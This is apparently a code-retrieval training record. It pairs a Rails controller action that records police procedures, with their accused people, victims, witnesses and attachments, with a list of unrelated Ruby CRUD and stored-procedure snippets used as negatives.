police_in_charge: PoliceMan.find(procedure_params[:police_in_charge]),
police_unit_in_charge: PoliceUnit.find(procedure_params[:police_unit_in_charge]),
local_prosecution_in_charge: LocalProsecution.find(procedure_params[:prosecution_in_charge]),
story: procedure_params[:story],
address: procedure_params[:address],
sector: selected_sector,
region: selected_region,
state: params[:state].to_i,
date_of_arrest: dateOfArrest,
involves_deceased: procedure_params[:involves_deceased])
respond_to do |format|
if procedure_params[:accuseds]
if @procedure.save!
if procedure_params[:photos] != nil
procedure_params[:photos].each_with_index do |photo,i|
@photo = Photo.new(description: procedure_params[:photo_descriptions][i], procedure: @procedure)
@photo.photo.attach(photo)
@photo.save!
end
end
if procedure_params[:videos] != nil
procedure_params[:videos].each_with_index do |video,i|
@video = Video.new(description: procedure_params[:video_descriptions][i], procedure: @procedure)
@video.video.attach(video)
@video.save!
end
end
if procedure_params[:documents] != nil
procedure_params[:documents].each_with_index do |document,i|
@document = Document.new(description: procedure_params[:document_descriptions][i],name: procedure_params[:document_names][i], procedure: @procedure)
@document.document.attach(document)
@document.save!
end
end
procedure_params[:tag_ids][1..procedure_params[:tag_ids].size].each do |tag|
@tag = Tagging.new(tag: Tag.find_by_name(tag),
procedure: @procedure)
@tag.save
end
procedure_params[:accuseds].each do |accused|
@criminal = Person.new(name: accused[:name],
rut: accused[:rut])
if @criminal.save!
@criminal_in_procedure = PersonInProcedure.new(role: 0,
person: @criminal,
procedure: @procedure,
state: 0)
@criminal_in_procedure.save
@criminal_alias = AliasAccused.new(alias: accused[:alias],
person: @criminal)
@criminal_alias.save
if procedure_params[:crimes]
procedure_params[:crimes].each do |crime|
@crime_in_accused = CrimeInAccused.new(preponderant: false,
crime: Crime.find_by_name(crime),
person: @criminal,
procedure: @procedure)
@crime_in_accused.save
end
end
@preponderan_crime_in_accused = CrimeInAccused.new(preponderant: true,
crime: Crime.find_by_name(procedure_params[:preponderant_crime]),
person: @criminal,
procedure: @procedure)
@preponderan_crime_in_accused.save
end
end
if procedure_params[:victims]
procedure_params[:victims].each do |victim|
@victim = Person.new(name: victim[:name],
rut: victim[:rut],
deceased: victim[:deceased],
contact: victim[:contact]
)
if @victim.save!
@victim_in_procedure = PersonInProcedure.new(role: 2,
person: @victim,
procedure: @procedure,
witness_declaration: victim[:story])
@victim_in_procedure.save
end
end
end
if procedure_params[:witness]
procedure_params[:witness].each do |witness|
@witness = Person.new(name: witness[:name],
rut: witness[:rut],
contact: witness[:contact]
)
if @witness.save!
@witness_in_procedure = PersonInProcedure.new(role: 1,
person: @witness,
procedure: @procedure,
witness_declaration: witness[:story])
@witness_in_procedure.save
end
end
end
#si el procedimiento se envia, se mandan las notificaciones pertinentes
if @procedure.state == "Open"
#si el usuario actual es policia, mandar notificaccion al fiscal y alrevez para lo otro
if current_user.police_unit.present?
prosecutors = Prosecutor.not_deleted.where(local_prosecution_id: @procedure.local_prosecution_in_charge.id)
prosecutors.each { |pros|
Notification.create(user: pros.user, notification_type: 0, reference_id: @procedure.id, seen: false)
}
elsif current_user.prosecutor.present?
@procedure.police_unit_in_charge.users.each { |police_user|
Notification.create(user: police_user, notification_type: 0, reference_id: @procedure.id, seen: false)
}
end
end
format.html { redirect_to @procedure, notice: 'Procedimiento ha sido creado con éxito.' }
format.json { render :show, status: :created, location: @procedure }
else
format.html { render :new }
format.json { render json: @procedure.errors, status: :unprocessable_entity }
end
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @procedure = Procedure.new(procedure_params)\n\n respond_to do |format|\n if @procedure.save\n format.json { render json: @procedure, status: :created }\n else\n format.json { render json: @procedure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def json_rpc_procedure(opts={})\n @service.add_procedure opts\n end",
"def procedure_params\n params.require(:procedure).permit(:description, :name, :procedure_ID)\n end",
"def create\n @procedure = Procedure.new(params[:procedure])\n\n respond_to do |format|\n if @procedure.save\n format.html { redirect_to(\"/procedures\", :notice => 'Procedure was successfully created.') }\n format.xml { render :xml => @procedure, :status => :created, :location => @procedure }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @procedure.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @visit_procedure = VisitProcedure.new(visit_procedure_params)\n\n respond_to do |format|\n if @visit_procedure.save\n format.html { redirect_to @visit_procedure, notice: 'Visit procedure was successfully created.' }\n format.json { render :show, status: :created, location: @visit_procedure }\n else\n format.html { render :new }\n format.json { render json: @visit_procedure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def procedure_params\n params[:procedure]\n end",
"def create\n @operating_procedure = OperatingProcedure.new(operating_procedure_params)\n\n if @operating_procedure.save\n render :show, status: :created, location: @operating_procedure\n else\n render json: @operating_procedure.errors, status: :unprocessable_entity\n end\n end",
"def create\n @procedure_type = ProcedureType.new(procedure_type_params)\n\n respond_to do |format|\n if @procedure_type.save\n format.html { redirect_to @procedure_type, notice: 'Procedure type was successfully created.' }\n format.json { render :show, status: :created, location: @procedure_type }\n else\n format.html { render :new }\n format.json { render json: @procedure_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mission_procedure = MissionProcedure.new(mission_procedure_params)\n\n respond_to do |format|\n if @mission_procedure.save\n format.html { redirect_to @mission_procedure, notice: 'Mission procedure was successfully created.' }\n format.json { render :show, status: :created, location: @mission_procedure }\n else\n format.html { render :new }\n format.json { render json: @mission_procedure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @procedure_type = ProcedureType.new(procedure_type_params)\n @documents = Document.all\n @procedure_type.name= @procedure_type.name.upcase\n respond_to do |format|\n if @procedure_type.save\n format.html { redirect_to procedure_types_path, notice: 'Tipo de tramite registrado exitosamente' }\n format.json { render :show, status: :created, location: @procedure_type }\n else\n format.html { render :new }\n format.json { render json: @procedure_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @proceduretype = Proceduretype.new(proceduretype_params)\n\n respond_to do |format|\n if @proceduretype.save\n format.html { redirect_to @proceduretype, notice: 'Proceduretype was successfully created.' }\n format.json { render action: 'show', status: :created, location: @proceduretype }\n else\n format.html { render action: 'new' }\n format.json { render json: @proceduretype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def stored_procedure(name)\n get \"#{base_url}/storedprocedures/#{name}\"\n end",
"def create\n @car = Car.find(params[:car_id])\n @lien_procedure = @car.lien_procedures.build(params[:lien_procedure])\n\n respond_to do |format|\n if @lien_procedure.save\n format.html { redirect_to @car, notice: 'Lien procedure was started successfully.' }\n format.json { render json: @lien_procedure, status: :created, location: @lien_procedure }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lien_procedure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n render json: Procedure.all, status: :ok\n end",
"def create\n @procedure_type = ProcedureType.new(procedure_type_params)\n\n respond_to do |format|\n if @procedure_type.save\n format.html { redirect_to procedure_type_path(@procedure_type, active_tab: TAB_NAMES[:system_settings]), notice: 'Procedure Type was successfully created.' }\n format.json { render json: @procedure_type.to_json, status: :created, location: @procedure_type }\n else\n puts @procedure_type.errors.first\n format.html { render :new }\n format.json { render json: @procedure_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def procedure_type_params\n params.require(:procedure_type).permit(:procedure_type_name, :procedure_id)\n end",
"def create\n @con_proc = ConProc.new(con_proc_params)\n\n respond_to do |format|\n if @con_proc.save\n format.html { redirect_to @con_proc, notice: 'Con proc was successfully created.' }\n format.json { render :show, status: :created, location: @con_proc }\n else\n format.html { render :new }\n format.json { render json: @con_proc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_procedure(opts={})\n name = opts[:name]\n raise Error, \"JSON-RPC procedure must have a name\" if name.blank?\n proc = opts[:proc]\n raise Error, \"JSON-RPC procedure must specify a :proc to be executed locally\" if proc.blank?\n begin\n proc = proc.to_proc\n rescue Exception => e\n raise Error, \":proc argument could not be converted to a proc (#{e.message})\"\n end\n opts[:proc] = proc\n # Canonicalise opts[:params]. We use strings internally, since parameter names will be \n # passed as such.\n opts[:params] = (opts[:params] || []).collect do |p|\n if p.is_a?(String)\n {:name => p.to_s, :type => 'any'}\n else\n {:name => p[:name].to_s, :type => (p[:type] || 'any').to_s}\n end\n end\n # Canonicalise opts[:return]\n opts[:return] = if opts[:return]\n {:type => (opts[:return][:type] || 'any').to_s}\n else\n {:type => 'any'}\n end\n # Register the new procedure with the service\n self.procs[name] = opts\n # Empty the system.describe cache\n @sd_cache = nil\n # Finally return the procedure's call name\n name\n end",
"def add_to_request(procedure_steps)\n safe_create do\n save_procedure\n build_steps(procedure_steps)\n end\n\n procedure\n end",
"def execute_procedure(proc_name, *variables, &block)\n vars = if variables.any? && variables.first.is_a?(Hash)\n variables.first.map { |k, v| \"@#{k} = #{quote(v)}\" }\n else\n variables.map { |v| quote(v) }\n end.join(', ')\n sql = \"EXEC #{proc_name} #{vars}\".strip\n log(sql, 'Execute Procedure') do\n result = @connection.execute(sql)\n\n return [] unless result\n\n if result.is_a?(Array)\n result.map! do |res|\n process_execute_procedure_result(res, &block)\n end\n else\n result = process_execute_procedure_result(result, &block)\n end\n\n result\n end\n end",
"def create\n routine = Routine.create!(routine_params)\n render json: routine\n end",
"def proceduretype_params\n params.require(:proceduretype).permit(:name, :followup)\n end",
"def con_proc_params\n params.require(:con_proc).permit(:procedimiento, :precio, :consultum_id)\n end",
"def mission_procedure_params\n params.require(:mission_procedure).permit(:mission_id, :procedure_id)\n end",
"def procedure_parms(token, word)\r\n if word.end_with?('{{')\r\n token.add(get_procedure_literal, [:procedure])\r\n end\r\n end",
"def create\n @risk = Risk.new(patient_procedure_risk_params)\n @patient_procedure = PatientProcedure.new(patient_procedure_params)\n PatientProcedure.transaction do\n @patient_procedure.save\n @risk.patient_procedure_id = @patient_procedure.id\n @risk.save\n end\n # @patient_procedure.risk_id = @risk.id\n respond_to do |format|\n if @patient_procedure.id\n format.html { redirect_to @patient_procedure, notice: 'Patient procedure was successfully created.' }\n format.json { render :show, status: :created, location: @patient_procedure }\n else\n format.html { render :new }\n format.json { render json: @patient_procedure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patient_procedure_params\n params.require(:patient_procedure).permit(:procedure_id, :patient_id)\n end",
"def procedure_type_params\n params.require(:procedure_type).permit(\n :name,\n :doctor_id\n )\n end",
"def addProcedure()\n if (! @procedures.has_key?(@scope_location))\n # Copy the arguments to a temporal Hash\n temp_vars = Hash.new\n @arguments.each { |arg|\n temp_vars[arg[:id]] = arg.clone()\n # Copy the arguments from the signature to the local variables\n # even if they are references\n\n # Increment the counter of variables according with the data type\n if temp_vars[arg[:id]][:array]\n size = temp_vars[arg[:id]][:size]\n else\n size = 1\n end\n temp_vars[arg[:id]][:value] = @local_memory.getAddress(arg[:type], 'normal', size)\n temp_vars[arg[:id]].delete(:ref)\n }\n @procedures[@scope_location] = { id: @scope_location, args: @arguments.clone(),\n local_vars: temp_vars, return_type: @data_type, line: @lines_counter }\n # Also adds a global variable for the return data in case that the returning type is\n # diferent of void\n if @data_type != 'void'\n name = @scope_location + '_ret_swap'\n address = @global_memory.getAddress(@data_type)\n var_info = { id: name, type: @data_type, value: address }\n @global[name] = var_info\n end\n else\n abort(\"\\nERROR: Procedure '#{@scope_location}' already defined\\n\")\n end\n end",
"def visit_procedure_params\n params.require(:visit_procedure).permit(:visit_id, :patient_id, :procedure_id)\n end",
"def create\n @procedure_subcategory = ProcedureSubcategory.new(procedure_subcategory_params)\n\n respond_to do |format|\n if @procedure_subcategory.save\n format.html { redirect_to @procedure_subcategory, notice: 'Procedure subcategory was successfully created.' }\n format.json { render :show, status: :created, location: @procedure_subcategory }\n else\n format.html { render :new }\n format.json { render json: @procedure_subcategory.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @procedure.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def application_procedure_params\n params.permit(:certificate_type, :user_id, :payment)\n end",
"def execute_procedure(proc_name, *variables)\n vars = if variables.any? && variables.first.is_a?(Hash)\n variables.first.map { |k, v| \"@#{k} = #{quote(v)}\" }\n else\n variables.map { |v| quote(v) }\n end.join(', ')\n sql = \"EXEC #{proc_name} #{vars}\".strip\n name = 'Execute Procedure'\n log(sql, name) do\n case @connection_options[:mode]\n when :dblib\n result = @connection.execute(sql)\n result.each(as: :hash, cache_rows: true) do |row|\n r = row.with_indifferent_access\n yield(r) if block_given?\n end\n result.each.map { |row| row.is_a?(Hash) ? row.with_indifferent_access : row }\n when :odbc\n results = []\n raw_connection_run(sql) do |handle|\n get_rows = lambda do\n rows = handle_to_names_and_values handle, fetch: :all\n rows.each_with_index { |r, i| rows[i] = r.with_indifferent_access }\n results << rows\n end\n get_rows.call\n get_rows.call while handle_more_results?(handle)\n end\n results.many? ? results : results.first\n end\n end\n end",
"def index\n @procedure_types = ProcedureType.all\n end",
"def create\n @scan_procedure = ScanProcedure.new(scan_procedure_params)#params[:scan_procedure])\n\n respond_to do |format|\n if @scan_procedure.save\n flash[:notice] = 'Scan procedure was successfully created.'\n format.html { redirect_to(@scan_procedure) }\n format.xml { render :xml => @scan_procedure, :status => :created, :location => @scan_procedure }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @scan_procedure.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def open_procedure_literal\r\n suspend_execute_mode(\"vm.push(lambda {|vm, val=nil, idx=nil| \", :procedure)\r\n\r\n #Support for the standard procedure parameters.\r\n context.create_local_method('v', MacroSpec, [:macro, \"vm.push(val); \"])\r\n context.create_local_method('x', MacroSpec, [:macro, \"vm.push(idx); \"])\r\n\r\n #Support for local data.\r\n context.create_local_method('var:', LocalSpec, [:immediate], &Local_Var_Action)\r\n context.create_local_method('val:', LocalSpec, [:immediate], &Local_Val_Action)\r\n\r\n context.create_local_method('}}', MacroSpec, [:macro, :end, \"}); \"])\r\n end",
"def destroy\n @visit_procedure.destroy\n respond_to do |format|\n format.html { redirect_to visit_procedures_url, notice: 'Visit procedure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def post operation, data={}\n body = case data\n when String\n body = data\n else\n Yajl::Encoder.encode(data)\n end\n\n request = new_request operation, body\n request.sign sts\n hydra.queue request\n hydra.run\n response = request.response\n puts response.inspect if @debug\n\n if response.code == 200\n Yajl::Parser.parse response.body\n else\n raise_error response\n end\n end",
"def set_procedure\n @procedure = Procedure.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @procedure.update(procedure_params)\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n end\n end\n end",
"def exec_proc(proc_name, *variables)\n vars =\n if variables.any? && variables.first.is_a?(Hash)\n variables.first.map { |k, v| \"@#{k} = #{quote(v)}\" }\n else\n variables.map { |v| quote(v) }\n end.join(', ')\n sql = \"EXEC #{proc_name} #{vars}\".strip\n log(sql, 'Execute Procedure') do\n result = @connection.execute_query_raw(sql)\n result.map! do |row|\n row = row.is_a?(Hash) ? row.with_indifferent_access : row\n yield(row) if block_given?\n row\n end\n result\n end\n end",
"def new\n @procedure_type = ProcedureType.new\n end",
"def index\n @procedures = Procedure.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @procedures }\n end\n end",
"def new\n @procedure = Procedure.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @procedure }\n end\n end",
"def post_evaluate(excon, body)\n excon.request(\n method: :post,\n path: '/evaluate',\n headers: { 'Content-Type' => 'application/json' },\n body: body\n )\nend",
"def post\n \"\n desc 'create #{resource.singularize}' do\n tags %w[#{resource.singularize}]\n end\n params do\n # TODO: specify the parameters\n end\n post do\n # your code goes here\n end\"\n end",
"def index\n @proceduretypes = Proceduretype.all\n end",
"def procedure(returntype, name, number, argtype, &block)\n\t\tnewproc = Procedure.new(number, returntype, argtype, &block)\n\t\tadd_procedure(name, number, newproc)\n\tend",
"def set_procedure\n @procedure = Procedure.find(params[:id])\n end",
"def set_procedure\n @procedure = Procedure.find(params[:id])\n end",
"def select_procedure\n @project = Project.find(params[:id])\n @test = Testx.find(params[:test_id])\n respond_to do |format|\n format.html # select_procedure.html.erb\n format.json { render json: @project }\n end\n end",
"def create\n @procurement = Procurement.new(procurement_params)\n\n respond_to do |format|\n if @procurement.save\n format.html { redirect_to @procurement, notice: 'Procurement was successfully created.' }\n format.json { render :show, status: :created, location: @procurement }\n else\n format.html { render :new }\n format.json { render json: @procurement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n new_program = program_params[:new_program]\n\n Service::CreateProgramAndPerformCuts.new(new_program, current_user).run\n\n flash[:notice] = 'Program ok!'\n\n rescue StandardError => e\n puts e.backtrace\n error_response(e)\n\n rescue Exception => e\n unexpected_response(e)\n end",
"def create\n @proverb = Proverb.new(proverb_params)\n\n respond_to do |format|\n if @proverb.save\n format.html { redirect_to @proverb, notice: \"Proverb was successfully created.\" }\n format.json { render :show, status: :created, location: @proverb }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @proverb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @car = Car.find(params[:car_id])\n @lien_procedure = @car.lien_procedures.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lien_procedure }\n end\n end",
"def destroy\n @procedure.destroy\n respond_to do |format|\n format.html { redirect_to procedures_url, notice: 'Procedimiento ha sido eliminado con éxito.' }\n format.json { head :no_content }\n end\n end",
"def create\n @insert_printmethod = InsertPrintmethod.new(insert_printmethod_params)\n\n respond_to do |format|\n if @insert_printmethod.save\n format.html { redirect_to @insert_printmethod, notice: 'Insert printmethod was successfully created.' }\n format.json { render :show, status: :created, location: @insert_printmethod }\n else\n format.html { render :new }\n format.json { render json: @insert_printmethod.errors, status: :unprocessable_entity }\n end\n end\n end",
"def procedure( test, procedure )\n if @builder != nil\n return @builder.procedure( test, procedure, self, @model )\n end\n\n return procedure\n end",
"def post(resource, params)\n case resource\n when \"pedidos\", \"place_order\", \"new_order\" then url = \"/pedidos\"\n when \"envios\", \"shipping\" then url = \"/envios\"\n else url = \"/#{resource}\"\n end\n\n post_request(url, params)\n end",
"def create\n @ped_program_definition = PedProgramDefinition.new(params[:ped_program_definition])\n\n respond_to do |format|\n if @ped_program_definition.save\n format.html { redirect_to @ped_program_definition, notice: 'Ped program definition was successfully created.' }\n format.json { render json: @ped_program_definition, status: :created, location: @ped_program_definition }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ped_program_definition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ped_program = PedProgram.new(params[:ped_program])\n\n respond_to do |format|\n if @ped_program.save\n format.html { redirect_to @ped_program, notice: 'Ped program was successfully created.' }\n format.json { render json: @ped_program, status: :created, location: @ped_program }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ped_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @voprosy = Voprosy.new(params[:voprosy])\n\n respond_to do |format|\n if @voprosy.save\n format.html { redirect_to @voprosy, notice: 'Voprosy was successfully created.' }\n format.json { render json: @voprosy, status: :created, location: @voprosy }\n else\n format.html { render action: \"new\" }\n format.json { render json: @voprosy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n\t\t@form = @client.forms.find(params[:id])\n @procedures = @form.procedures.order('step_num ASC')\n\n \trespond_to do |format|\n \t\tformat.html # show.html.erb\n \t\tformat.json { render json: @form }\n \t \tend\n \tend",
"def create\n @scan_procedure_array =current_user.edit_low_scan_procedure_array.split(' ') #[:edit_low_scan_procedure_array]\n @question_scan_procedure = QuestionScanProcedure.new(question_scan_procedure_params)#params[:question_scan_procedure])\n\n respond_to do |format|\n if @question_scan_procedure.save\n format.html { redirect_to(@question_scan_procedure, :notice => 'Question scan procedure was successfully created.') }\n format.xml { render :xml => @question_scan_procedure, :status => :created, :location => @question_scan_procedure }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @question_scan_procedure.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @visit_procedures = VisitProcedure.all\n end",
"def create\n @parish = Parish.new(parish_params)\n\n if @parish.save\n render json: @parish, status: :created, location: @parish\n else\n render json: @parish.errors, status: :unprocessable_entity\n end\n end",
"def crud_post(resource_name, service_name, primary_key_name, api_options = {})\n api_options = get_defaults(api_options)\n post '/'+resource_name do\n service = settings.send(service_name)\n\n # Get The data\n begin\n data = JSON.parse(request.body.read)\n rescue Exception => e\n return 422\n end\n\n # Valid POST?\n return 422 unless service.valid_insert?(data)\n\n # Already Exists?\n return 409 if service.exists_by_primary_key?(data[primary_key_name])\n\n # Do Insert\n record = service.insert(data)\n\n # Other Error\n return 500 if record.nil?\n\n # Output new record\n JSON.fast_generate record\n end\n end",
"def create\n @ann = Ann.new(ann_params)\n Panel.assign(@ann, panel: panel_params[:panel_number], to: panel_params[:panel_location])\n @panel = @ann.location.panel rescue nil\n\n respond_to do |format|\n if @ann.save\n\n if procedure_params[:procedure]\n # 手順書についての処理\n uploaded = procedure_params[:procedure]\n procedure = Procedure.new(ann: @ann)\n procedure.write(uploaded)\n procedure.save\n end\n\n format.html { redirect_to @ann, notice: 'Ann was successfully created.' }\n format.json { render action: 'show', status: :created, location: @ann }\n else\n format.html { render action: 'new' }\n format.json { render json: @ann.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @procedure_type.destroy\n respond_to do |format|\n format.html { redirect_to procedure_types_url, notice: 'Procedure type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @provin = Provin.new(provin_params)\n\n respond_to do |format|\n if @provin.save\n format.html { redirect_to @provin, notice: 'Provin was successfully created.' }\n format.json { render :show, status: :created, location: @provin }\n else\n format.html { render :new }\n format.json { render json: @provin.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_proc(name, columns=[], options={}, &block)\n if select_value(\"SELECT count(oid) FROM pg_language WHERE lanname = 'plpgsql' \",\"count\").to_i == 0\n# execute(\"CREATE FUNCTION plpgsql_call_handler() RETURNS language_handler AS '$libdir/plpgsql', 'plpgsql_call_handler' LANGUAGE c\")\n execute(\"CREATE TRUSTED PROCEDURAL LANGUAGE plpgsql HANDLER plpgsql_call_handler\")\n end\n\n if options[:force]\n drop_proc(name, columns) rescue nil\n end\n\n if block_given?\n execute get_proc_query(name, columns, options) { yield }\n elsif options[:resource]\n execute get_proc_query(name, columns, options)\n else\n raise StatementInvalid.new(\"Missing function source\")\n end\n end",
"def execute(test_id, procedure)\n results = Maadi::Procedure::Results.new(test_id.to_i, 0, \"#{@type}:#{@instance_name}\", nil)\n if procedure.is_a? ( ::Maadi::Procedure::Procedure)\n results.proc_id = procedure.id\n\n procedure.steps.each do |step|\n if step.target == 'application'\n if supports_step? (step)\n\n #lValue is the item that is modified (usually the stack)\n lValue = -1\n lType = 'TEXT'\n #rValue is the item that is not modified during an operation\n rValue = -1\n rType = 'TEXT'\n bSuccess = false\n bError = false\n #The normal operation call\n operationString = ''\n #Used when a status update is needed, like the size of the stack after a push\n lValueOPString = ''\n rValueOPString = ''\n\n begin\n case step.id\n\n #Case for when a push is called\n when 'PUSH'\n #Get the value to add to the push\n rValue = step.get_parameter_value('[RVALUE]')\n\n #If the stack is instantiated, then work\n if @rStack != nil && rValue != ''\n\n operationString = @options['STACKNAME'] + \".push(\" + rValue + \");\\n\"\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation(operationString, lValueOPString, '')\n\n #Set lValue - index 2 (STDOUT)\n lValue = cmdResultsArray.at(2)\n lType = 'INTEGER'\n\n bSuccess = true\n bError = false\n else\n #Error: the stack was not instantiated!\n lValue = rValue = 'PUSH Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n\n when 'POP'\n #Make sure the stack is initialized.\n if @rStack != nil\n #Need to check for size first\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n #First run the operation to check the size. If the size is zero, then flag error and exit\n cmdResultsArray = runOperation('', lValueOPString, '')\n\n if cmdResultsArray.at(2).to_i == 0\n lValue = rValue = 'POP Failed, Stack is empty'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n else\n #Run the operation normally: Setup the operation string and parse for results.\n operationString = \"System.out.println(\" + @options['STACKNAME'] + \".pop());\\n\"\n #Run the operation\n cmdResultsArray = runOperation(operationString, lValueOPString, '')\n\n #Set lValue - index 0 (STDOUT)\n lValue = cmdResultsArray.at(0)\n lType = 'INTEGER'\n\n #Set the rValue - index 2 (STDOUT)\n rValue = cmdResultsArray.at(2)\n rType = 'INTEGER'\n\n bSuccess = true\n bError = false\n end\n else\n lValue = rValue = 'POP Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n\n when 'SIZE'\n if @rStack != nil\n operationString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation(operationString, '', '')\n\n #Set lValue - index 0 (STDOUT)\n lValue = cmdResultsArray.at(0)\n lType = 'INTEGER'\n\n bSuccess = true\n bError = false\n else\n lValue = rValue = 'SIZE Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n when 'ATINDEX'\n\n #Get the index value\n stringIndex = step.get_parameter_value('[INDEX]')\n index = stringIndex.to_i\n\n if @rStack != nil && index != ''\n #Need to check for size first\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n\n #First run the operation to check the size. If the size is zero, then flag error and exit\n cmdResultsArray = runOperation('', lValueOPString, '')\n\n #get the size\n tempSize = cmdResultsArray.at(2).to_i\n\n if tempSize == 0\n\n #If the stack is empty, then there is no point to index something.\n lValue = rValue = 'ATINDEX Failed, Stack is empty'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n elsif index >= tempSize\n\n # Check to make sure the index is within bounds of the size.\n lValue = rValue = 'ATINDEX Failed, requested index is larger than stack size'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n else\n\n #Everything is good, continue onward.\n rValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".atIndex(\" + stringIndex + \"));\\n\"\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation('', lValueOPString, rValueOPString)\n\n #Set lValue - index 2 (STDOUT)\n lValue = cmdResultsArray.at(2)\n lType = 'INTEGER'\n\n #Set rValue = index 4 (STDOUT)\n rValue = cmdResultsArray.at(4)\n rType = 'INTEGER'\n\n bSuccess = true\n bError = false\n end\n\n else\n lValue = rValue = 'ATINDEX Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n\n when 'NULCONSTRUCT'\n\n operationString = @options['CLASSNAME'] + \" \" + @options['STACKNAME'] + \" = new \" + @options['CLASSNAME'] + \"();\\n\"\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation(operationString, lValueOPString, '')\n\n #Set lValue - index 0 (STDOUT)\n rValue = lValue = cmdResultsArray.at(2)\n rType = lType = 'INTEGER'\n\n bSuccess = true\n bError = false\n\n #We use rStack as an indication that the stack was created. Otherwise, pops on an uninitialized stack will occur.\n #this is to help prevent errors.\n @rStack = true\n\n when 'NONNULCONSTRUCT'\n\n # CURRENTLY DOES NOT TAKE A SIZE\n operationString = @options['CLASSNAME'] + \" \" + @options['STACKNAME'] + \" = new \" + @options['CLASSNAME'] + \"();\\n\"\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation(operationString, lValueOPString, '')\n\n #Set lValue - index 0 (STDOUT)\n rValue = lValue = cmdResultsArray.at(2)\n rType = lType = 'INTEGER'\n\n bSuccess = true\n bError = false\n\n @rStack = true\n when 'DETAILS'\n\n if @rStack != nil\n operationString = ''\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \");\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation('', lValueOPString, '')\n\n #Set lValue - index 0 (STDOUT)\n lValue = cmdResultsArray.at(2)\n lType = 'TEXT'\n\n bSuccess = true\n bError = false\n else\n lValue = rValue = 'DETAILS Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n\n when 'PEEK'\n\n if @rStack != nil\n #Need to check for size first\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n\n #First run the operation to check the size. If the size is zero, then flag error and exit\n cmdResultsArray = runOperation('', lValueOPString, '')\n\n #get the size\n tempSize = cmdResultsArray.at(2).to_i\n\n if tempSize == 0\n\n #If the stack is empty, then there is no point to index something.\n lValue = rValue = 'PEEK Failed, Stack is empty'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n\n else\n\n #Everything is good, continue onward.\n rValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".atIndex(0));\\n\"\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation('', lValueOPString, rValueOPString)\n\n #Set lValue - index 2 (STDOUT)\n lValue = cmdResultsArray.at(2)\n lType = 'INTEGER'\n\n #Set rValue = index 4 (STDOUT)\n rValue = cmdResultsArray.at(4)\n rType = 'INTEGER'\n\n bSuccess = true\n bError = false\n end\n\n else\n lValue = rValue = 'PEEK Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n 